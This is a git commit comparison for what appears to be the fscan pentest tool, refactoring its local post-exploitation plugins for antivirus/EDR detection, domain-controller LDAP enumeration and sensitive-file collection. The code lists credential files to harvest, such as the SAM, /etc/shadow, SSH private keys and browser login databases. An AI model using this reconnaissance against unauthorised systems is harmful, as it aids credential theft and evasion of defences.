Compare commits

...

2 Commits

Author SHA1 Message Date
ZacharyZcR
50247ee1e4 chore: 清理未使用的死代码
- 删除plugins/local/connector.go中未使用的GetCommonDirectories和GetSensitiveFiles函数
- 移除整个connector.go文件,因为其只包含死代码
- 通过deadcode工具验证,确保代码库整洁
2025-08-11 04:11:36 +08:00
ZacharyZcR
a86098d6b6 refactor: 重构本地插件架构并支持多平台
- 简化本地插件架构,移除不必要的连接器抽象
- 重构6个本地插件使用统一的简化架构
- 更新平台支持配置:Windows专用插件(avdetect/dcinfo/minidump),跨平台插件(fileinfo/reverseshell/socks5proxy)
- 修复插件注册和系统集成
- 优化代码结构和错误处理
2025-08-11 04:10:04 +08:00
11 changed files with 388 additions and 739 deletions

View File

@ -374,12 +374,12 @@ func checkParameterConflicts() {
if LocalMode {
if LocalPlugin == "" {
fmt.Printf("错误: 使用本地扫描模式 (-local) 时必须指定一个本地插件 (-localplugin)\n")
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
os.Exit(1)
}
// 验证本地插件名称
validPlugins := []string{"fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy", "avdetect"}
validPlugins := []string{"avdetect", "fileinfo", "dcinfo", "minidump", "reverseshell", "socks5proxy"} // 已重构的插件
isValid := false
for _, valid := range validPlugins {
if LocalPlugin == valid {
@ -390,7 +390,7 @@ func checkParameterConflicts() {
if !isValid {
fmt.Printf("错误: 无效的本地插件 '%s'\n", LocalPlugin)
fmt.Printf("可用的本地插件: fileinfo, dcinfo, minidump, reverseshell, socks5proxy, avdetect\n")
fmt.Printf("可用的本地插件: avdetect, fileinfo, dcinfo, minidump, reverseshell, socks5proxy\n")
os.Exit(1)
}
}

View File

@ -22,26 +22,10 @@ import (
//go:embed auto.json
var embeddedAVDatabase []byte
// AVDetectPlugin AV/EDR检测插件
// AVDetectPlugin AV/EDR检测插件 - 使用简化架构
type AVDetectPlugin struct {
*local.BaseLocalPlugin
connector *AVDetectConnector
// AV/EDR数据库
avDatabase map[string]AVProduct
configPath string
}
// AVDetectConnector AV/EDR检测连接器
type AVDetectConnector struct {
*local.BaseLocalConnector
}
// AVDetectConnection AV/EDR检测连接对象
type AVDetectConnection struct {
*local.LocalConnection
RunningProcesses []ProcessInfo
SystemInfo map[string]string
}
// AVProduct AV/EDR产品信息
@ -69,75 +53,44 @@ type DetectionResult struct {
Category string `json:"category"`
}
// NewAVDetectPlugin 创建AV/EDR检测插件
// NewAVDetectPlugin 创建AV/EDR检测插件 - 简化版本
func NewAVDetectPlugin() *AVDetectPlugin {
metadata := &base.PluginMetadata{
Name: "avdetect",
Version: "1.0.0",
Version: "1.0.0",
Author: "fscan-team",
Description: "自动化AV/EDR检测插件基于auto.json规则库识别安全软件",
Description: "自动化AV/EDR检测插件基于嵌入式规则库识别安全软件",
Category: "local",
Tags: []string{"local", "av", "edr", "detection", "security"},
Protocols: []string{"local"},
}
connector := NewAVDetectConnector()
plugin := &AVDetectPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
avDatabase: make(map[string]AVProduct),
configPath: "auto.json", // 默认配置文件路径
}
// 设置支持的平台
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 设置支持的平台 (仅Windows)
plugin.SetPlatformSupport([]string{"windows"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
return plugin
}
// NewAVDetectConnector 创建AV/EDR检测连接器
func NewAVDetectConnector() *AVDetectConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &AVDetectConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立AV/EDR检测连接
func (c *AVDetectConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
// Initialize 初始化插件
func (p *AVDetectPlugin) Initialize() error {
// 先调用基类初始化
if err := p.BaseLocalPlugin.Initialize(); err != nil {
return err
}
baseConn := localConn.(*local.LocalConnection)
// 获取系统进程信息
processes, err := c.getRunningProcesses()
if err != nil {
return nil, fmt.Errorf("获取进程列表失败: %v", err)
}
avDetectConn := &AVDetectConnection{
LocalConnection: baseConn,
RunningProcesses: processes,
SystemInfo: baseConn.SystemInfo,
}
return avDetectConn, nil
}
// Close 关闭AV/EDR检测连接
func (c *AVDetectConnector) Close(conn interface{}) error {
return c.BaseLocalConnector.Close(conn)
// 加载AV数据库
return p.loadAVDatabase()
}
// getRunningProcesses 获取运行中的进程列表
func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
func (p *AVDetectPlugin) getRunningProcesses() ([]ProcessInfo, error) {
var processes []ProcessInfo
var cmd *exec.Cmd
@ -158,7 +111,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
}
// 解析命令输出
processes, err = c.parseProcessOutput(string(output))
processes, err = p.parseProcessOutput(string(output))
if err != nil {
return nil, fmt.Errorf("解析进程信息失败: %v", err)
}
@ -167,7 +120,7 @@ func (c *AVDetectConnector) getRunningProcesses() ([]ProcessInfo, error) {
}
// parseProcessOutput 解析进程命令输出
func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, error) {
func (p *AVDetectPlugin) parseProcessOutput(output string) ([]ProcessInfo, error) {
var processes []ProcessInfo
scanner := bufio.NewScanner(strings.NewReader(output))
@ -185,7 +138,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
}
// 解析PowerShell CSV格式Name,Id,ProcessName
fields := c.parseCSVLine(line)
fields := p.parseCSVLine(line)
if len(fields) >= 3 {
processName := strings.Trim(fields[0], "\"")
// 如果进程名不包含.exe则添加
@ -231,7 +184,7 @@ func (c *AVDetectConnector) parseProcessOutput(output string) ([]ProcessInfo, er
}
// parseCSVLine 解析CSV行处理引号内的逗号
func (c *AVDetectConnector) parseCSVLine(line string) []string {
func (p *AVDetectPlugin) parseCSVLine(line string) []string {
var fields []string
var current strings.Builder
inQuotes := false
@ -266,52 +219,61 @@ func (p *AVDetectPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行AV/EDR检测扫描
// ScanLocal 执行AV/EDR检测扫描 - 简化版本
func (p *AVDetectPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始AV/EDR安全软件检测...")
// 加载AV数据库
err := p.loadAVDatabase()
common.LogInfo("开始AV/EDR安全软件检测...")
// 获取运行进程
processes, err := p.getRunningProcesses()
if err != nil {
common.LogError(fmt.Sprintf("加载AV数据库失败: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
common.LogError(fmt.Sprintf("获取进程列表失败: %v", err))
// 不返回错误,继续执行但结果可能不完整
processes = []ProcessInfo{}
}
common.LogDebug(fmt.Sprintf("成功加载 %d 个安全产品规则", len(p.avDatabase)))
// 建立连接
conn, err := p.connector.Connect(ctx, info)
if err != nil {
return &base.ScanResult{
Success: false,
Error: fmt.Errorf("连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
avDetectConn := conn.(*AVDetectConnection)
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(avDetectConn.RunningProcesses)))
// 执行AV/EDR检测
detectionResults := p.detectAVEDR(avDetectConn.RunningProcesses)
common.LogDebug(fmt.Sprintf("获取到 %d 个运行进程", len(processes)))
// 检测AV/EDR产品
detectionResults := p.detectAVEDR(processes)
// 获取系统信息
systemInfo := p.GetSystemInfo()
// 生成检测报告
report := p.generateDetectionReport(detectionResults, avDetectConn.SystemInfo)
report := p.generateDetectionReport(detectionResults, systemInfo)
if len(detectionResults) == 0 {
common.LogInfo("未检测到已知的AV/EDR安全产品")
return &base.ScanResult{
Success: true,
Service: "AVDetect",
Banner: "未检测到已知的AV/EDR安全产品",
Extra: map[string]interface{}{
"detected_products": detectionResults,
"total_processes": len(processes),
"detection_report": report,
"platform": runtime.GOOS,
"database_products": len(p.avDatabase),
},
}, nil
}
// 输出检测结果
common.LogInfo(fmt.Sprintf("[+] AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
for _, result := range detectionResults {
common.LogInfo(fmt.Sprintf("[+] 检测到: %s (%d个进程)", result.ProductName, len(result.DetectedProcesses)))
}
result := &base.ScanResult{
Success: len(detectionResults) >= 0, // 即使没有检测到也算成功
Success: true,
Service: "AVDetect",
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
Extra: map[string]interface{}{
"detected_products": detectionResults,
"total_processes": len(avDetectConn.RunningProcesses),
"detection_report": report,
"platform": runtime.GOOS,
"database_products": len(p.avDatabase),
"detected_products": detectionResults,
"total_processes": len(processes),
"detection_report": report,
"platform": runtime.GOOS,
"database_products": len(p.avDatabase),
},
}

View File

@ -1,163 +0,0 @@
package local
import (
"context"
"fmt"
"os"
"runtime"
"path/filepath"
"github.com/shadow1ng/fscan/common"
)
// BaseLocalConnector 基础本地连接器实现
type BaseLocalConnector struct {
workingDir string
homeDir string
systemInfo map[string]string
}
// LocalConnection 本地连接对象
type LocalConnection struct {
WorkingDir string
HomeDir string
SystemInfo map[string]string
TempDir string
}
// NewBaseLocalConnector 创建基础本地连接器
func NewBaseLocalConnector() (*BaseLocalConnector, error) {
homeDir, err := os.UserHomeDir()
if err != nil {
return nil, err
}
workingDir, err := os.Getwd()
if err != nil {
return nil, err
}
return &BaseLocalConnector{
workingDir: workingDir,
homeDir: homeDir,
systemInfo: make(map[string]string),
}, nil
}
// Connect 建立本地连接
func (c *BaseLocalConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 初始化系统信息
c.initSystemInfo()
tempDir := os.TempDir()
conn := &LocalConnection{
WorkingDir: c.workingDir,
HomeDir: c.homeDir,
SystemInfo: c.systemInfo,
TempDir: tempDir,
}
return conn, nil
}
// Close 关闭连接
func (c *BaseLocalConnector) Close(conn interface{}) error {
// 本地连接无需特殊关闭操作
return nil
}
// GetSystemInfo 获取系统信息
func (c *BaseLocalConnector) GetSystemInfo(conn interface{}) (map[string]string, error) {
localConn, ok := conn.(*LocalConnection)
if !ok {
return nil, fmt.Errorf("无效的连接类型")
}
return localConn.SystemInfo, nil
}
// initSystemInfo 初始化系统信息
func (c *BaseLocalConnector) initSystemInfo() {
c.systemInfo["os"] = runtime.GOOS
c.systemInfo["arch"] = runtime.GOARCH
c.systemInfo["home_dir"] = c.homeDir
c.systemInfo["working_dir"] = c.workingDir
c.systemInfo["temp_dir"] = os.TempDir()
// 获取用户名
if username := os.Getenv("USER"); username != "" {
c.systemInfo["username"] = username
} else if username := os.Getenv("USERNAME"); username != "" {
c.systemInfo["username"] = username
}
// 获取主机名
if hostname, err := os.Hostname(); err == nil {
c.systemInfo["hostname"] = hostname
}
}
// GetCommonDirectories 获取常见目录路径
func (c *BaseLocalConnector) GetCommonDirectories() []string {
var dirs []string
switch runtime.GOOS {
case "windows":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
"C:\\Users\\Public\\Documents",
"C:\\Users\\Public\\Desktop",
"C:\\Program Files",
"C:\\Program Files (x86)",
}
case "linux", "darwin":
dirs = []string{
c.homeDir,
filepath.Join(c.homeDir, "Desktop"),
filepath.Join(c.homeDir, "Documents"),
filepath.Join(c.homeDir, "Downloads"),
"/opt",
"/usr/local",
"/var/www",
"/var/log",
}
}
return dirs
}
// GetSensitiveFiles 获取敏感文件路径
func (c *BaseLocalConnector) GetSensitiveFiles() []string {
var files []string
switch runtime.GOOS {
case "windows":
files = []string{
"C:\\boot.ini",
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
filepath.Join(c.homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(c.homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
}
case "linux", "darwin":
files = []string{
"/etc/passwd",
"/etc/shadow",
"/etc/hosts",
"/etc/ssh/ssh_config",
"/root/.ssh/id_rsa",
"/root/.ssh/authorized_keys",
"/root/.bash_history",
filepath.Join(c.homeDir, ".ssh/id_rsa"),
filepath.Join(c.homeDir, ".ssh/authorized_keys"),
filepath.Join(c.homeDir, ".bash_history"),
}
}
return files
}

View File

@ -15,28 +15,19 @@ import (
"strings"
)
// DCInfoPlugin 域控信息收集插件
// DCInfoPlugin 域控信息收集插件 - 使用简化架构
type DCInfoPlugin struct {
*local.BaseLocalPlugin
connector *DCInfoConnector
}
// DCInfoConnector 域控信息连接器
type DCInfoConnector struct {
*local.BaseLocalConnector
conn *ldap.Conn
baseDN string
}
// DomainConnection 域连接对象
type DomainConnection struct {
*local.LocalConnection
LDAPConn *ldap.Conn
BaseDN string
// DomainInfo 域信息结构
type DomainInfo struct {
Domain string
BaseDN string
LDAPConn *ldap.Conn
}
// NewDCInfoPlugin 创建域控信息收集插件
// NewDCInfoPlugin 创建域控信息收集插件 - 简化版本
func NewDCInfoPlugin() *DCInfoPlugin {
metadata := &base.PluginMetadata{
Name: "dcinfo",
@ -48,16 +39,14 @@ func NewDCInfoPlugin() *DCInfoPlugin {
Protocols: []string{"local"},
}
connector := NewDCInfoConnector()
plugin := &DCInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
}
// 仅支持Windows平台
plugin.SetPlatformSupport([]string{"windows"})
// 需要域环境权限
plugin.SetRequiresPrivileges(false) // 使用当前用户凭据
// 不需要特殊权限,使用当前用户凭据
plugin.SetRequiresPrivileges(false)
return plugin
}
@ -67,69 +56,39 @@ func (p *DCInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.S
return p.ScanLocal(ctx, info)
}
// NewDCInfoConnector 创建域控信息连接器
func NewDCInfoConnector() *DCInfoConnector {
baseConnector, _ := local.NewBaseLocalConnector()
return &DCInfoConnector{
BaseLocalConnector: baseConnector,
}
}
// Connect 建立域控连接
func (c *DCInfoConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
// 先建立基础本地连接
localConn, err := c.BaseLocalConnector.Connect(ctx, info)
if err != nil {
return nil, err
}
baseConn := localConn.(*local.LocalConnection)
// connectToDomain 连接到域控制器 - 简化版本
func (p *DCInfoPlugin) connectToDomain() (*DomainInfo, error) {
// 获取域控制器地址
dcHost, domain, err := c.getDomainController()
dcHost, domain, err := p.getDomainController()
if err != nil {
return nil, fmt.Errorf("获取域控制器失败: %v", err)
}
// 建立LDAP连接
ldapConn, baseDN, err := c.connectToLDAP(dcHost, domain)
ldapConn, baseDN, err := p.connectToLDAP(dcHost, domain)
if err != nil {
return nil, fmt.Errorf("LDAP连接失败: %v", err)
}
domainConn := &DomainConnection{
LocalConnection: baseConn,
LDAPConn: ldapConn,
BaseDN: baseDN,
Domain: domain,
}
return domainConn, nil
}
// Close 关闭域控连接
func (c *DCInfoConnector) Close(conn interface{}) error {
if domainConn, ok := conn.(*DomainConnection); ok {
if domainConn.LDAPConn != nil {
domainConn.LDAPConn.Close()
}
}
return c.BaseLocalConnector.Close(conn)
return &DomainInfo{
Domain: domain,
BaseDN: baseDN,
LDAPConn: ldapConn,
}, nil
}
// getDomainController 获取域控制器地址
func (c *DCInfoConnector) getDomainController() (string, string, error) {
func (p *DCInfoPlugin) getDomainController() (string, string, error) {
common.LogDebug("开始查询域控制器地址...")
// 方法1: 尝试使用PowerShell获取域名
domain, err := c.getDomainNamePowerShell()
domain, err := p.getDomainNamePowerShell()
if err != nil {
// 方法2: 尝试使用wmic如果可用
domain, err = c.getDomainNameWmic()
domain, err = p.getDomainNameWmic()
if err != nil {
// 方法3: 尝试使用环境变量
domain, err = c.getDomainNameFromEnv()
domain, err = p.getDomainNameFromEnv()
if err != nil {
return "", "", fmt.Errorf("获取域名失败: %v", err)
}
@ -143,7 +102,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
common.LogDebug(fmt.Sprintf("获取到域名: %s", domain))
// 查询域控制器
dcHost, err := c.findDomainController(domain)
dcHost, err := p.findDomainController(domain)
if err != nil {
// 备选方案:使用域名直接构造
dcHost = fmt.Sprintf("dc.%s", domain)
@ -154,7 +113,7 @@ func (c *DCInfoConnector) getDomainController() (string, string, error) {
}
// getDomainNamePowerShell 使用PowerShell获取域名
func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) {
func (p *DCInfoPlugin) getDomainNamePowerShell() (string, error) {
cmd := exec.Command("powershell", "-Command", "(Get-WmiObject Win32_ComputerSystem).Domain")
output, err := cmd.Output()
if err != nil {
@ -170,7 +129,7 @@ func (c *DCInfoConnector) getDomainNamePowerShell() (string, error) {
}
// getDomainNameWmic 使用wmic获取域名
func (c *DCInfoConnector) getDomainNameWmic() (string, error) {
func (p *DCInfoPlugin) getDomainNameWmic() (string, error) {
cmd := exec.Command("wmic", "computersystem", "get", "domain", "/value")
output, err := cmd.Output()
if err != nil {
@ -191,7 +150,7 @@ func (c *DCInfoConnector) getDomainNameWmic() (string, error) {
}
// getDomainNameFromEnv 从环境变量获取域名
func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) {
func (p *DCInfoPlugin) getDomainNameFromEnv() (string, error) {
// 尝试从环境变量获取
cmd := exec.Command("cmd", "/c", "echo %USERDOMAIN%")
output, err := cmd.Output()
@ -208,7 +167,7 @@ func (c *DCInfoConnector) getDomainNameFromEnv() (string, error) {
}
// findDomainController 查找域控制器
func (c *DCInfoConnector) findDomainController(domain string) (string, error) {
func (p *DCInfoPlugin) findDomainController(domain string) (string, error) {
// 方法1: 使用nslookup查询SRV记录
cmd := exec.Command("nslookup", "-type=SRV", fmt.Sprintf("_ldap._tcp.dc._msdcs.%s", domain))
output, err := cmd.Output()
@ -241,7 +200,7 @@ func (c *DCInfoConnector) findDomainController(domain string) (string, error) {
}
// connectToLDAP 连接到LDAP服务器
func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
func (p *DCInfoPlugin) connectToLDAP(dcHost, domain string) (*ldap.Conn, string, error) {
common.LogDebug(fmt.Sprintf("尝试连接到LDAP服务器: %s", dcHost))
// 创建SSPI客户端
@ -264,7 +223,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
// 方法2: 尝试使用IPv4地址
common.LogDebug("方法2: 解析IPv4地址")
ipv4, err := c.resolveIPv4(dcHost)
ipv4, err := p.resolveIPv4(dcHost)
if err == nil {
common.LogDebug(fmt.Sprintf("解析到IPv4地址: %s", ipv4))
conn, err = ldap.DialURL(fmt.Sprintf("ldap://%s:389", ipv4))
@ -296,7 +255,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
// 获取BaseDN
common.LogDebug("获取BaseDN...")
baseDN, err := c.getBaseDN(conn, domain)
baseDN, err := p.getBaseDN(conn, domain)
if err != nil {
conn.Close()
return nil, "", err
@ -307,7 +266,7 @@ func (c *DCInfoConnector) connectToLDAP(dcHost, domain string) (*ldap.Conn, stri
}
// getBaseDN 获取BaseDN
func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
func (p *DCInfoPlugin) getBaseDN(conn *ldap.Conn, domain string) (string, error) {
searchRequest := ldap.NewSearchRequest(
"",
ldap.ScopeBaseObject,
@ -342,7 +301,7 @@ func (c *DCInfoConnector) getBaseDN(conn *ldap.Conn, domain string) (string, err
}
// resolveIPv4 解析主机名为IPv4地址
func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) {
func (p *DCInfoPlugin) resolveIPv4(hostname string) (string, error) {
ips, err := net.LookupIP(hostname)
if err != nil {
return "", err
@ -358,12 +317,12 @@ func (c *DCInfoConnector) resolveIPv4(hostname string) (string, error) {
return "", fmt.Errorf("未找到IPv4地址")
}
// ScanLocal 执行域控信息扫描
// ScanLocal 执行域控信息扫描 - 简化版本
func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("开始域控制器信息收集...")
common.LogInfo("开始域控制器信息收集...")
// 建立域控连接
conn, err := p.connector.Connect(ctx, info)
domainConn, err := p.connectToDomain()
if err != nil {
// 提供更友好的错误信息
if strings.Contains(err.Error(), "未加入域") || strings.Contains(err.Error(), "WORKGROUP") {
@ -379,9 +338,11 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
Error: fmt.Errorf("域控连接失败: %v", err),
}, nil
}
defer p.connector.Close(conn)
domainConn := conn.(*DomainConnection)
defer func() {
if domainConn.LDAPConn != nil {
domainConn.LDAPConn.Close()
}
}()
// 收集域信息
domainData := make(map[string]interface{})
@ -442,11 +403,17 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
common.LogError(fmt.Sprintf("获取组织单位失败: %v", err))
}
// 获取系统信息
systemInfo := p.GetSystemInfo()
result := &base.ScanResult{
Success: len(domainData) > 0,
Service: "DCInfo",
Banner: fmt.Sprintf("域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN),
Extra: domainData,
Banner: fmt.Sprintf("检测完成: 域: %s (BaseDN: %s)", domainConn.Domain, domainConn.BaseDN),
Extra: map[string]interface{}{
"domain_data": domainData,
"system_info": systemInfo,
},
}
common.LogSuccess("域控制器信息收集完成")
@ -454,7 +421,7 @@ func (p *DCInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*b
}
// getDomainInfo 获取域基本信息
func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interface{}, error) {
func (p *DCInfoPlugin) getDomainInfo(conn *DomainInfo) (map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeBaseObject,
@ -487,7 +454,7 @@ func (p *DCInfoPlugin) getDomainInfo(conn *DomainConnection) (map[string]interfa
}
// getDomainControllers 获取域控制器详细信息
func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getDomainControllers(conn *DomainInfo) ([]map[string]interface{}, error) {
dcQuery := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
@ -520,7 +487,7 @@ func (p *DCInfoPlugin) getDomainControllers(conn *DomainConnection) ([]map[strin
}
// getDomainUsersDetailed 获取域用户详细信息
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
@ -560,7 +527,7 @@ func (p *DCInfoPlugin) getDomainUsersDetailed(conn *DomainConnection) ([]map[str
}
// getDomainAdminsDetailed 获取域管理员详细信息
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
// 获取Domain Admins组
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
@ -615,7 +582,7 @@ func (p *DCInfoPlugin) getDomainAdminsDetailed(conn *DomainConnection) ([]map[st
}
// getComputersDetailed 获取域计算机详细信息
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getComputersDetailed(conn *DomainInfo) ([]map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest(
conn.BaseDN,
ldap.ScopeWholeSubtree,
@ -648,7 +615,7 @@ func (p *DCInfoPlugin) getComputersDetailed(conn *DomainConnection) ([]map[strin
}
// getUserInfoByDN 根据DN获取用户信息
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (map[string]interface{}, error) {
func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainInfo, userDN string) (map[string]interface{}, error) {
searchRequest := ldap.NewSearchRequest(
userDN,
ldap.ScopeBaseObject,
@ -682,7 +649,7 @@ func (p *DCInfoPlugin) getUserInfoByDN(conn *DomainConnection, userDN string) (m
}
// getGroupPolicies 获取组策略信息
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getGroupPolicies(conn *DomainInfo) ([]map[string]interface{}, error) {
common.LogDebug("开始搜索GPO...")
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
@ -740,7 +707,7 @@ func (p *DCInfoPlugin) getGroupPolicies(conn *DomainConnection) ([]map[string]in
}
// getOrganizationalUnits 获取组织单位信息
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainConnection) ([]map[string]interface{}, error) {
func (p *DCInfoPlugin) getOrganizationalUnits(conn *DomainInfo) ([]map[string]interface{}, error) {
common.LogDebug("开始搜索OU和容器...")
common.LogDebug(fmt.Sprintf("使用BaseDN: %s", conn.BaseDN))
@ -1016,9 +983,9 @@ func (p *DCInfoPlugin) ExtractData(ctx context.Context, info *common.HostInfo, d
}, nil
}
// 插件注册函数
func init() {
base.GlobalPluginRegistry.Register("dcinfo", base.NewSimplePluginFactory(
// RegisterDCInfoPlugin 注册域控信息收集插件
func RegisterDCInfoPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "dcinfo",
Version: "1.0.0",
@ -1031,5 +998,24 @@ func init() {
func() base.Plugin {
return NewDCInfoPlugin()
},
))
)
base.GlobalPluginRegistry.Register("dcinfo", factory)
}
// GetInfo 获取插件信息
func (p *DCInfoPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("Windows域控制器信息收集插件\n")
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 收集域用户、计算机、组策略、OU等信息\n")
info.WriteString("要求: 必须在域环境中运行\n")
return info.String()
}
// 插件注册函数
func init() {
RegisterDCInfoPlugin()
}

View File

@ -12,24 +12,18 @@ import (
"github.com/shadow1ng/fscan/plugins/local"
)
// FileInfoPlugin 文件信息收集插件
// FileInfoPlugin 文件信息收集插件 - 使用简化架构
type FileInfoPlugin struct {
*local.BaseLocalPlugin
connector *FileInfoConnector
// 配置选项
blacklist []string
whitelist []string
blacklist []string
whitelist []string
sensitiveFiles []string
searchDirs []string
}
// FileInfoConnector 文件信息连接器
type FileInfoConnector struct {
*local.BaseLocalConnector
sensitiveFiles []string
searchDirs []string
}
// NewFileInfoPlugin 创建文件信息收集插件
// NewFileInfoPlugin 创建文件信息收集插件 - 简化版本
func NewFileInfoPlugin() *FileInfoPlugin {
metadata := &base.PluginMetadata{
Name: "fileinfo",
@ -41,10 +35,8 @@ func NewFileInfoPlugin() *FileInfoPlugin {
Protocols: []string{"local"},
}
connector := NewFileInfoConnector()
plugin := &FileInfoPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
connector: connector,
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
blacklist: []string{
// 可执行文件和库
".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr",
@ -84,6 +76,11 @@ func NewFileInfoPlugin() *FileInfoPlugin {
// 设置平台支持
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限
plugin.SetRequiresPrivileges(false)
// 初始化敏感文件和搜索目录
plugin.initSensitiveFiles()
return plugin
}
@ -93,32 +90,21 @@ func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base
return p.ScanLocal(ctx, info)
}
// NewFileInfoConnector 创建文件信息连接器
func NewFileInfoConnector() *FileInfoConnector {
baseConnector, _ := local.NewBaseLocalConnector()
connector := &FileInfoConnector{
BaseLocalConnector: baseConnector,
}
connector.initSensitiveFiles()
return connector
}
// initSensitiveFiles 初始化敏感文件列表
func (c *FileInfoConnector) initSensitiveFiles() {
func (p *FileInfoPlugin) initSensitiveFiles() {
homeDir, _ := os.UserHomeDir()
switch runtime.GOOS {
case "windows":
c.sensitiveFiles = []string{
p.sensitiveFiles = []string{
"C:\\boot.ini",
"C:\\windows\\systems32\\inetsrv\\MetaBase.xml",
"C:\\windows\\system32\\inetsrv\\MetaBase.xml",
"C:\\windows\\repair\\sam",
"C:\\windows\\system32\\config\\sam",
}
if homeDir := c.GetCommonDirectories()[0]; homeDir != "" {
c.sensitiveFiles = append(c.sensitiveFiles, []string{
if homeDir != "" {
p.sensitiveFiles = append(p.sensitiveFiles, []string{
filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"),
filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"),
@ -126,7 +112,7 @@ func (c *FileInfoConnector) initSensitiveFiles() {
}
case "linux", "darwin":
c.sensitiveFiles = []string{
p.sensitiveFiles = []string{
"/etc/apache/httpd.conf",
"/etc/httpd/conf/httpd.conf",
"/etc/nginx/nginx.conf",
@ -139,31 +125,31 @@ func (c *FileInfoConnector) initSensitiveFiles() {
}
}
c.searchDirs = c.getOptimizedSearchDirs()
p.searchDirs = p.getOptimizedSearchDirs()
}
